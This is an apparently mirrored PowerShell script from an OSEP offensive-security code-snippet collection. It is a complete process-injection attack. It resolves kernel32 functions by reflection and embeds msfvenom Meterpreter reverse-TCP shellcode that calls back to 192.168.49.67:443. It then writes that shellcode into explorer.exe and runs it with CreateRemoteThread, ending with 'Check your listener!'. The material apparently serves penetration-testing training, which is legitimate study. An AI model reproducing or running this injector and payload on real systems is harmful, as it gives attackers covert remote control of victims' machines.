mirror of
https://github.com/chvancooten/OSEP-Code-Snippets
synced 2026-06-08 13:32:22 +00:00
54 lines
5.4 KiB
PowerShell
54 lines
5.4 KiB
PowerShell
function LookupFunc {
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Param ($moduleName, $functionName)
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$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
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Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
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Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
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$tmp=@()
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$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
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return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
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@($moduleName)), $functionName))
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}
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function getDelegateType {
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Param (
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[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
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[Parameter(Position = 1)] [Type] $delType = [Void]
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)
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$type = [AppDomain]::CurrentDomain.
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DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
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[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
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DefineDynamicModule('InMemoryModule', $false).
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DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
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[System.MulticastDelegate])
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$type.
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DefineConstructor('RTSpecialName, HideBySig, Public',
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[System.Reflection.CallingConventions]::Standard, $func).
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SetImplementationFlags('Runtime, Managed')
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$type.
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DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
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SetImplementationFlags('Runtime, Managed')
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return $type.CreateType()
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}
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$procId = (Get-Process explorer).Id
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# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1
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[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x51,0x48,0x8b,0x52,0x20,0x56,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x41,0x51,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x44,0x8b,0x40,0x20,0x8b,0x48,0x18,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x41,0x58,0x48,0x1,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x1,0xbb,0xc0,0xa8,0x31,0x43,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0xa,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0x49,0xff,0xce,0x75,0xe5,0xe8,0x93,0x0,0x0,0x0,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x4,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,0x59,0x68,0x0,0x10,0x0,0x0,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x0,0x40,0x0,0x0,0x41,0x58,0x6a,0x0,0x5a,0x41,0xba,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x1,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,0x0,0x59,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0x89,0xda,0xff,0xd5
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# C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId);
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$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),
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(getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId)
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# C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);
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$expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx),
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(getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40)
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# C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten);
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$procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory),
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(getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero)
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# C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero);
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[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread),
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(getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero)
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Write-Host "Injected! Check your listener!" |